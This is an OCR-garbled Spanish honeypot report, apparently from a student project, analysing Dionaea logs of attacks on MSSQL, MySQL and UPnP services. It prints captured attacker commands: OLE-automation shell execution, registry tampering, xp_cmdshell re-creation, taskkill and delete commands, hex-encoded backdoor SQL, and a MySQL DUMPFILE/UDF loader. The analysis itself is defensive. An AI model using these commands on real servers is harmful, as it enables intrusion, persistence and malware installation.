Row 16256 SQL BATCH : bDECLARE @objLocator int, @objWmi int, @objPermiss int, @objFull int EXEC sp_OACreate "WhemScripting. SWhemLocator', @objlocator OUTPUT EXEC sp_OAMethod @objlocator, 'ConnectServer', @objwmi
Row16332 SQL BATCH : b'DECLARE @objLocator int, @objWmi int, @objPermiss int, @objFull int EXEC sp_OACreate "WhemScripting. SWhemLocator', @objLocator OUTPUT EXEC sp_OAMethod @objLocator,'ConnectServer', @objWmi
Row 16408 SQL BATCH : bDECLARE @objLocator int, @objWmi int, @objPermiss int, @objFull int EXEC sp_OACreate "WhemScripting. SWhemLocator', @objlocator OUTPUT EXEC sp_OAMethod @objLocator, 'ConnectServer', @objwmi
Row 16484 SQL BATCH : b"EXEC xp_ 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\CMD.EXE' EXEC xp_ 'HKEY_LOCAL_MACHINE','SOFTWAF
Row 16560 SQL BATCH : b"EXEC xp_regwrite 'HKEY_CURRENT_USER','Software\\Policies\\Microsoft\\Windows|\System', DisableCMD', REG_DWORD',0 exec xp_regdeletevalue HKEY_LOCAL_MACHINE',' SOFTWARE\\Microsoft\\Comn
Row16636 SQL BATCH : b'exec xp_servicecontrol 'start’, SQLSERVERAGENT *

Row16712 SQL BATCH : b'EXEC msdb.dbo.sp_set_sqglagent_properties @auto_start=1"

Row 16738 SQL BATCH : b"dedare @o int, @fint, @tint, @retint exec sp_oacreate '{0D43FE01-F093-11CF-8940-00A0C9054228}', @o out exec sp_ thed @o, ‘o ', @f out, 'c:\\win \\wbem\\123.bat
Row 16864 SQL BATCH : b"dedare @o int, @f int, @t int, @retint exec sp_oacreate "{0D43FE0 1-F093-11CF-8940-00A0C9054228}, @0 out exec sp_( thed @o, 'cr file', @f out, 'PerfStringse.ini, 1 exec @ret = sp_oams
Row 16940 SQL BATCH : b'DECLARE @shell INT EXEC 5P_OAcreate '{72C24DD5-D70A-4388-8A42-08424B88AFE8}, @shel OUTPUT EXEC SP_OAMETHOD @shell, run',null, 'secedit.exe jconfigure jdb secedit.sdb /cfg cx\windows\\s
Row17016 SQL BATCH : b"dedare @o int, @f int, @tint, @retint exec sp_oacreate '{0D43FE0 1F093-11CF-8940-00A0C9054228}', @0 out exec sp_ thod @o, 'ar ', @f out, "c:\\wir Wdvr', 1exe
Row17104 SQL BATCH : b'exec sp_configure 'show advanced options', 1y \nreconfigure  \nexec sp_configure *Ad Hoc Distributed Queries', 1Y \reconfigure y \nEXEC 5P_CONFIGURE 'SHOW ADVANCED OPTIONS', 1 RECONFIGURE B)
Row17197 SQL BATCH : b'DECLARE @shell INT EXEC SP_OAcreate '{72C24DD5-D70A-4388-8A42-98424B88AFB8), @shell OUTPUT EXEC SP_OAMETHOD @shell,'run’,null, ‘icads ftp.exe freset ™

Row17273 SQL BATCH : b'DECLARE @shell INT EXEC SP_OAcreate '{72C24DD5-D70A-4388-8A42-98424B38AFB8) , @shell OUTPUT EXEC SP_OAMETHOD @shell,'run’,null, ‘icads cmd.exe jreset’ ™

Row17349 SQL BATCH : b'DECLARE @shell INT EXEC SP_OAcreate '{72C24DD5-D70A-4388-8A42-98424B88AFB8}, @shell OUTPUT EXEC SP_OAMETHOD @shell,'run’,null, 'taskkill /f /im regsvr32.exe’,'0’, True' ™

Row17425 SQL BATCH : b'DECLARE @shell INT EXEC SP_OAcreate '{72C24DD5-D70A-4388-8A42-98424B38AFB8}’, @shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'taskkill /f fim rundli32.exe’,'0’, True'

Row17501 SQL BATCH : b'DECLARE @shell INT EXEC SP_OAcreate '{72C24DD5-D70A-4388-8A42-98424B88AFBS}, @shell OUTPUT EXEC SP_OAMETHOD @shell,'run’,null, 'taskkill /f fim and. exe','0", True' ™

Row17577 SQL BATCH : b'DECLARE @shell INT EXEC SP_OAcreate '{72C24DD5-D70A-4388-8A42-98424B358AFB8}, @shell OUTPUT EXEC SP_OAMETHOD @shell,'run’,null, ‘emd.exe Jc del c:\\wir \item.dat','0", True' "
Row17653 SQL BATCH : b'DECLARE @Resultint DECLARE @FSO_Token int EXEC @Result = sp_OACreate '{0D43FE01-F093-11CF-8940-00A0C9054228)', @FSO_Token OUTPUT EXEC @Result = sp_OAMethod @FSO_Token, 'Crez

Registro Dionaea MSSQL 1

Algunas de las cosas llamativas que podemos ver en este registro son:

Archivos .exe y .dll
Registros de Windows
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e Establecimiento de variables (atencion en los ‘@a=0x....")

Algunos de los archivos detectados son los siguientes:

e DLL
xplog70.dll
odsole70.dll
scrrun.dll
webm\\webmdisp.dll
jscript.dll
vbscript.dll
shell32.dll
msadol5.dll
Xp_cmdshell
xpstar.dll

O O 0O 0O O O O O O O

e EXE
cmd.exe
ftp.exe
cacls.exe
regsvr32.exe
rundll2.exe
e Ocx

o WSHom.ocx

O O O O O

Por otro lado hemos de ver el asunto del establecimiento de variables.

Hemos de fijarnos en las lineas en las que ponga lo siguiente:

e Set @a=0x....

En nuestro archivo de registro son unas cuantas lineas y van

entremezcladas con la aparicion de los archivos antes mencionados.

BATCH : b'dedare @a varchar| set @a=0x4445434C41524520406F626A4C6F636 1746F 7220696E742C406F626A576D6920696E742C 40646F6F 726E6 160652020766 17263686 17228 3130323429 2C40727 56E696E 746572766
SQL BATCH : b"use msdb exec sp_add_job 'dbdotas’ exec sp_add_jobstep null,'dbdotas’,Null,'dbdotas’, TSQL','dedare @a varchar(8000);set @a=0x4445434C41524520406A733120696E74384558454320 73705F 47 414372656 174652027536

Registro Dionaea MSSQL 2

Si traducimos el contenido de esas declaraciones podemos ver algunas de

las 6rdenes o instrucciones del atacante.
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Ox4445434C41524520406F626RA4C0F6361746F7220696E7T42C406F626A A
576D6920696ET742C40646F6F7126E6016D65202076617263686172283130
3234282C4072756E696ET74657276016C20696E742C40734E616D652076
6172636861722831303234293B4445434C41524520406F4576656E7420
696ET42C4A06ET736C0696E6B20696E742C406F41736563206096E742C406F
53706920696E742C407173747220766172636861722831303234292C40
6663620E6420696E743B4445434C415245204061736563706174682069
6ET42C40666CT747061746820096E742C40626E647061746820696E742C v
40687220696E742C40735061746820766172636861722831303234293B

Character encoding:

ASCII v

< Convert x Reset w1 Swap

DECLARE @objLocator int, @objWmi int, @doorname ~
varchar (1024), @runinterval int, @sName

varchar (1024) ; DECLARE @oEvent int,@nslink int, @oAsec

int, @oSpi int, @gstr varchar(1024),@fcbnd int;DECLARE
@asecpath int,@fltpath int, @bndpath int,@hr int, @sPath
varchar (1024) ;set @doorname='fuckyoumm';set @runinterval =
14400000;EXEC @hr = sp OACreate

'WbemScripting.SWbemLocator', @objLocator output;EXEC @hr v
= sp OAMethod @objLocator, 'ConnectServer', @objWmi

Select

Traduccién registro hexadecimal 1

Vamos a analizar algunas de las trazas para intentar averiguar que

pretende hacer nuestro atacante tras todas esas acciones:

b"exec sp_server_info 1 exec sp_server
b'SELECT @@VERSION '

b'use master '

b'Drop Procedure sp_addextendedproc’
b'Drop Procedure sp_addlogin'y \nDrop Procedure sp_droplogin'y \nDrop Procedure sp_addsrvrolemember '

b"create procedure sp_addextendedproc @functname nvarchar(517), @dliname varchar(255) as set implidt_transactions off if @@trancount > 0 begin raiserror(15002,-1,-1,'sp_addextendedproc) n
b'Drop Procedure xp_cmdshell\r\nDrop Procedure sp_OAMethod\r\nDrop Procedure sp_OACreate'y \nDrop Procedure sp_OASetPropertyr\nDrop Procedure sp_OADestroy'y \nDrop Procedure xp_regy
b’use master'y\ndbee addextendedproc (xp_cmdshell,'xplog70.dI r\ndbee addextendedproc ('sp_OAMethod', 'odsole 70.dIl) Y \ndbee addextendedproc (xp_servicecontrol, 'xpstar.dll)r\ndbee addex
b"use [master] EXEC sp_configure N'dr enabled’, N'1' RECONFIGURE WITH OVERRIDE exec sp_changedbowner 'sa’ alter database [master] set TRUSTWORTHY on RECONFIGURE WITH OVERRIDE "

_info 2 exec sp_server_info 500 select 501,NULL, 1 where 'a'='A" select 504,c.name, c.description, c.definition from master.dbo.syscharsets c,master.dbo.sysd

Registro Dionaea MSSQL 3

En las dos primeras lineas, vemos que intenta acceder a informacion del
servidor. Sabemos esto ya que lo primero que ejecuta es el procedimiento
sp_server_info, el cual devuelve una serie de parametros relacionados con

la informacién del servidor. En nuestro caso pide la siguiente informacion:

e DBMS_NAME
e DBMS_VER
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e SYS SPROC_VERSION: Para verificar la version de los
procedimientos.

Vemos que tras entrar en la base de datos, elimina una serie de
procedimientos, para inmediatamente volverlos a crear. Podemos deducir
que estos nuevos procedimientos de nombre similar contienen algunas
caracteristicas adicionales creadas por el atacante, también podriamos
pensar que al llamarse igual, estos procedimientos “nuevos” llamaran

menos la atencion en los registros.

Evidentemente, tras la creacion de los mismos llega su uso. Vemos que
sigue registrando procedimientos eliminados previamente, pero ahora
utilizando el proceso recreado addextendedproc, también vemos que para
recrearlos utiliza una serie de funciones y de librerias (ya mencionadas

antes).

Aqui entran las funciones OA y la libreria externa odsole70.dll. La libreria
es usada para reactivar las funciones OA (OLE) que sirven para afadir

diferentes tipos de datos a un documento desde diferentes aplicaciones.

Las dos siguientes imagenes son dos partes de las mismas lineas.

b"exec xp_servicecontrol 'start’,'SQLSERVERAGENT' *

Registro Dionaea MSSQL 4
En esta parte, aparte de la declaracion de una serie de variables, vemos
que se wusa la funcion ‘sp_OACreate’ para crear un objeto
WbemScripting.SwbemLocator. La idea de esto es establecer conexiones

remotas a otras maquinas.
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Registro Dionaea MSSQL 5

En esta imagen vemos que esas mismas lineas que establecian una

conexion afladen ahora una serie de parametros como:

e Directorios hacia archivos, ejecutables y librerias, todos ademas
elementos importantes.

e Vemos como a través de ‘Win32_SecurityDescriptor se intenta
establecer algunas propiedades a un valor concreto. Las
propiedades son ControlFlag, la cual es establecida a 4 (lo que
significa que hay presente una DACL), y SetSecurityDescriptor con
valor NULL, para establecer la DACL con unos valores que den
acceso total.

Gracias a los dos puntos anteriores todos los archivos con esa
configuracion pueden ser accedidos por cualquiera al tener una politica de

seguridad que no restringe ningun acceso.

Lo siguiente que hace el atacante es eliminar registros relativos a procesos
usuales del sistema como el cmd, el calcs (que sirve para modificar
descriptores de seguridad) o el taskkill, con el que se pueden cerrar
procesos. Con todo esto nos estaria quitando de algunas herramientas en

el caso de querer actuar.

b"EXEC xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\} ft\\Windows NT\\CurrentVersion\\Image File Execution Options\\CMD.EXE' EXEC xp _r 'HKEY_LOCAL_MACHINE','SOFTWARE \\Micr
b"EXEC xp_regwrite 'HKEY_CURRENT _USER','Software\\Policies\\Microsoft\\Windows\\System', DisableCMD','REG_DWORD',0 exec xp_regdel lue 'HKEY_LOCAL_MACHINE','SOFTWARE\Y ft\\Command Prc
b"exec xp_servicecontrol 'start,,'SQLSERVERAGENT ™

Registro Dionaea MSSQL 6

A continuacibn vemos como el atacante empieza a crear archivos en

nuestro sistema:
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Registro Dionaea MSSQL 7

Registro Dionaea MSSQL 8

En las lineas podemos ver como crea los archivos 123.bat y perfstringse.ini
y con qué valores. Podemos deducir con estos archivos que nuestro
honeypot ha sido infectado con el virus mirai (un virus que crea una botnet
de ordenadores infectados para realizar ataques de denegacion de

servicio).

En la siguiente imagen vemos como intenta borrar algunos archivos de

ataques

Registro Dionaea MSSQL 9

Para a continuacion instalar los suyos propios (con esto podemos suponer
gue quiere asegurarse de que controla toda la informacion del ataque y no

otro que estuviera antes)
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:h%n confinure ‘allow undates’. 1\r\nRFCONFIGLIRF WITH QOVFRRIDE *

Registro Dionaea MSSQL 10

Se puede observar que muchos de los trabajos afadidos son,
efectivamente, los mismos que los eliminados de la imagen anterior a esta.
También podemos ver que en los registros se nombra una serie de

ejecutables que podrian no sernos familiares, a saber:
e Kugou2010.exe
e Myusago.dvr (otro archivo relacionado con Mirai)

Més adelante podemos observar que en una linea se pretende hacer

registro a un archivo en una url:

VUCUIOIC §0 VO W01 {QUWY) 0L O =VATT T T TR TAJETIEAVTVUA/ J LEVUIVL T TEVTIOTITIEN JIN T TATH SN L TVSEVES ST ST IV T TN V) T7 & Wl d 80 TUVA/ S LEVT JIJTEV TSN TS TIEV JIVA T T

Registro Dionaea MSSQL 11

El archivo en cuestién es v.sct.scrobj.dll, buscando informacion parece

tratarse de un elemento que deja una backdoor en el sistema.

A continuacién vemos como intenta registrar el archivo 123.bat en regedit

e e N T T A1 %1 A Tt e L7 i B A s Tt P T T e e ST Ay J N P f1 Mt AN At T e} e NIt Py Sl p) Tyt g e e e T TN gt ] e s
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En las siguientes lineas al registro el atacante crea usuarios con privilegios

de administrador dentro de la base de datos:

312920626567696E20646263632061756469746576656E742028313034 A
2C20312C20302C20406C6FeT6960E616D652C204E554C4C2C204E554C4C
2C20407369642920726169736572726F722831353234372C2D312C2D31
292072657475726E2028312920656E6420454C534520626567696E2064
6263632061756469746576656E7420283130342C20312C20312C20406C
oF6T7696E616D652C204E554C4C2C204E554C4C2C204073609642820656E
642073657420696D706C696369745FT7472616ET73616374696F6ET3206F
0666204946202840407472616E636F756ET4203E20302920626567696E +
20 1

Character encoding:

ASCII v

< Convert x Reset w1 Swap

create procedure sp addlogin @loginame sysname, @passwd A
sysname = Null, @defdb sysname = 'master', @deflanguage
sysname = Null,@sid varbinary(16) = Null ,@encryptopt
varchar (20) = Null AS set nocount on Declare f@ret int IF
(not is srvrolemember ('securityadmin') = 1) begin dbcc
auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15247,-1,-1) return (1) end ELSE begin dbcc
auditevent (104, 1, 1, @loginame, NULL, NULL, @sid) end v
set implicit transactions off IF (@@trancount > 0) begin

Select

Traduccion registro hexadecimal 2

o ot e e e = ¢ e s e ot e o e et 5

Registro Dionaea MSSQL 13

Por dltimo, vemos como el atacante va eliminando archivos y procesos para

eliminar pistas.

Registro Dionaea MSSQL 14
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A raiz de todo esto podemos sacar una serie de conclusiones que nos

serviran de cara a establecer un modelo, en base a lo pretendido por el

atacante:

1.

2.

B

©COoOoTD»®»ONOT L O

Hace un primer paseo verificando versiones del sistema de
administracion de la base de datos.

Reemplaza algunos procesos y .exes ya existentes por unos propios
con caracteristicas definidas por él.

Uso de sp_OACreate y WebScripting.WebLocator para establecer
conexiones.

Uso de Win32_SecurityDescriptionny cacls.exe para cambiar
opciones de seguridad y ganar acceso a archivos sensibles.
Aparicion de archivos:

123.bat

Perfstingse.ini

En este punto, tenemos indicios del virus Mirai

Reemplazo de .exes por propios del atacante.

Aparicion de

Kugou2010.exe

Myusago.dvr (Relacionado con Mirai)

V.sct.scrobj.dll (backdoor)

Eliminacion de archivos y cierre de procesos.

MYSQLD

El andlisis en este servicio va a ser mas breve.

|DATABASE opening information_schema

lopen db information_schema -> :memory:

|DATABASE opening b'mysgl’

|DATABASE opening information_schema

lopen db information_schema -> :memory:

|DATABASE opening b'mysgl'

|SQL ERROR no such function: VERSION

|SQL ERROR in b'SELECT VERSION()'

|SQL ERROR near "use”: syntax error

|SQL ERROR in b'use mysqgl'

|SQL ERROR Incorrect number of bindings supplied. The current statement uses 1, and there are 0 supplied.

|SQL ERROR in b'update yongger2 set data = @a'

|SQL ERROR near “prepare”: syntax error

|SQL ERROR in b'prepare sql3 from @dir2'

|SQL ERROR near "execute”: syntax error

|SQL ERROR in b'execute sql3

|SQL ERROR near "“into™: syntax error

|SQL ERROR in bselect data from yongger2 into DUMPFILE ', \\\\bin\\\\cna 12.dII'"

|SQL ERROR near "FUNCTION™: syntax error

|SQL ERROR in b'drop FUNCTION xpdI3'

|SQL ERROR. near "FUNCTION™: syntax error

|SQL ERROR. in b"CREATE FUNCTION xpdl|3 RETURNS STRING SONAME 'cna12.di™

Registro Dionaea MySQLD 1
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En la imagen anterior se puede resumir todo lo destacable en lo detectado

por el honeypot acerca de este servicio (el resto del registro se basa en

repetir exactamente lo mismo).

Como vemos lo primero que intenta hacer el atacante es averiguar la

version de mysq|.
Lo destacable en este registro es:

e la orden DUMPFILE, la cual es usada para acceder a funciones
incluidas en archivos.

e elarchivo cnal2.dll, el cual crea la funcién xpdI3 ademas de contener
direcciones url desde las que descargar archivos

e La funcién xpdI3 utilizada para llamar a las funciones de cnal2.dll

UPNP
El dltimo registro del que hemos conseguido informacion hace referencia al

conjunto de protocolos UPnP (Universal Plug and Play).

<dionaea.upnp.upnp.upnpd object at 0x74aeaeb8 > handle_established
Type: b'M-SEARCH' Path: ® HTTP-Version: b'HTTP/1.1'

b'man': b'"ssdp:discover™

b'st': b'upnp:rootdevice'

b'mx": b'3

b'host': b'239.255.255. 250:1900'

<dionaea.upnp.upnp.upnpd object at 0x74aeaeb8> handle_established

Registro Dionaea UPNP 1

Lo primero que vemos es que el atacante intenta atisbas cuantos
dispositivos hay conectados. La orden man ssdp:discover lanza peticiones
para que todos aquellos dispositivos que estén incluidos por la orden st
(search target) respondan. Como vemos realiza una busqueda muy

concreta a un dispositivo root.

Como no consigue nada mas adelante lo intenta con ssdp:all, pero

nuevamente no parece conseguir nada.
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https://hackingandsecurity.blogspot.com/2018/09/abusing-sql-server-trusts-in-windows.html?showComment=1543830601855
https://malwaremusings.com/2013/01/31/what-is-cna12-dll-and-the-piress-user/
https://malwaremusings.com/2013/01/31/what-is-cna12-dll-and-the-piress-user/
https://malwaremusings.com/2013/05/08/capturing-the-cna12-mysql-attacks-with-dionaea/
https://malwaremusings.com/2013/05/08/capturing-the-cna12-mysql-attacks-with-dionaea/
https://blog.cloudflare.com/ssdp-100gbps/
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Informacioén sobre recursos del sistema

Microsoft.  sp_server _info 14 de marzo de 2017:
https://docs.microsoft.com/es-es/sql/relational-databases/system-
stored-procedures/sp-server-info-transact-sgl?view=sgl-server-
2017

Microsoft. OLE Automation Procedures. 16 de Marzo de 2017:
https://docs.microsoft.com/en-us/sqgl/relational-databases/system-
stored-procedures/ole-automation-stored-procedures-transact-
sgl?redirectedfrom=MSDN&view=sql-server-2017

Microsoft. SWbemLocator object. 31 de mayo de 2018:
https://docs.microsoft.com/en-
us/windows/win32/wmisdk/swbemlocator

Microsoft. SWbemlLocator.Connect Server method. 31 de mayo de
2018: https://docs.microsoft.com/en-
us/windows/win32/wmisdk/swbemlocator-connectserver
Microsoft. ControlFlags Enum: https://docs.microsoft.com/es-
es/dotnet/api/system.security.accesscontrol.controlflags?view=ne
tframework-4.8

Microsoft. Security Descriptors. 31 de mayo de 2018:
https://docs.microsoft.com/en-
us/windows/win32/secauthz/security-descriptors

Microsoft. Secedit. 16 de agosto de 2017:
https://docs.microsoft.com/en-us/windows-
server/administration/windows-commands/secedit

Microsoft. Access Control Lists. 31 de mayo de 2018:
https://docs.microsoft.com/en-
us/windows/win32/secauthz/access-control-lists

Process Library. Xplog70.dll:
https://www.processlibrary.com/es/directory/files/xplog70/189353/
Process Library. Odsole70.dll:

https://www.processlibrary.com/es/directory/files/odsole70/30324
1/

Process Library. Wshom.ocx:
https://www.processlibrary.com/es/directory/files/wshom/22473/
Oracle. DUMPFILE:

https://docs.oracle.com/database/121/SUTIL/GUID-A6300021-
419F-4C1D-AFF1-38FE1123326B.htm#SUTIL841

Informacién sobre amenazas

DrWeb. Trojan.Mira.1 . 8 de febrero de 2017: https://vms.drweb-
av.es/virus/?i=14934685&Ing=es

DrWeb. Trojan.DownLoader26.57063 . 11 de julio de 2018:
https://vms.drweb-av.es/virus/?i=17298370&Ing=es

StrigViewer. The File System Object compoment must be disabled:
https://www.stigviewer.com/stig/iis 7.0 _web_server/2016-02-
11/finding/V-13700
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o Alien Vault. Mys2016.info:
https://otx.alienvault.com/indicator/domain/mys2016.info
¢ Informacioén sobre el analisis de Dionaea con KNIME
o Blackhole: https://www.eduardocollado.com/2016/04/28/ataques-
de-ddos-y-blackhole/
o BGP: https://es.wikipedia.org/wiki/Border Gateway Protocol
o epmap: https://techlandia.com/protocolo-puerto-135-
hechos 94265/
o Informacion sobre Nodos: https://nodepit.com/

¢ Documentacion metodologia desarrollo
o Metodologia SCRUM. Tema 2. Temario Desarrollo &gil
o SCRUM. Anexo Tema 2. Temario Desarrollo agil.
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